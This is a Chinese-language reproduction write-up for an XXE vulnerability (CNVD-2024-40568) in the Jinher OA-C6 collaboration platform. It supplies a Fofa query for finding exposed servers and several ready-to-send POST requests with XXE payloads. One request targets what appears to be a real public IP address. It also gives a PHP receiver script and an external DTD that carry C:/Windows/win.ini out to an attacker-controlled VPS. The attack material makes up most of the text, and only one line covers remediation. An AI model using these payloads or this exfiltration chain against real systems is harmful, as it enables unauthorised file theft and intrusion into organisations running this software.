金和OA-C6 ApproveRemindSetExec.aspx XXE漏洞复现(CNVD-2024-40568)
0x01 产品描述:
金和C6协同管理平台是以"精确管理思想"为灵魂,围绕“企业协同四层次理论”模型,并紧紧抓住现代企业管理的六个核心要素:文化 Culture、 沟通Communication 、 协作Collaboration 、创新 Creation、 控制 Control、中心 Center,而构建了结构化的、灵活集成的、动态响应的、面向企业运营管理的智慧协同应用管理平台。
0x02 漏洞描述:
金和OA-C6 ApproveRemindSetExec.aspx接口存在XXE漏洞,未经授权的攻击者可利用该漏洞实现任意文件读取或ssrf。
0x03 搜索语句:
Fofa:body="c6/Jhsoft.Web.login"
0x04 漏洞复现:
利用dnslog复现
POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://123.0olbin.dnslog.cn"> %remote;]>
服务器快速检测:
POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1
Host: 61.133.99.56:88
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://your-vps:port/test.xml"> %remote;]>
利用dtd获取数据:
整体流程:poc利用个人服务器执行dtd与读取目标服务器的c盘文件内容。
Dtd内容是XXE无回显利用方式,将内容外带到其他地方,将内容通过get.php写入file.txt。
首先在vps上创建以下脚本:
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
构造dtd用以读取,dtd里内容如下
<!ENTITY % all "<!ENTITY send SYSTEM 'http://your-vps:port/get.php?file=%file;'>">
构造完成后vps启动服务用于信息监听
请求构造以下数据
POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % remote SYSTEM "http://your-vps:port/xxe.dtd">
%remote;
%all;
]>
<root>&send;</root>
获取win.ini数据
解码后
0x05 修复建议:
官方已修复该漏洞,请用户联系厂商修复漏洞:http://www.jinher.com/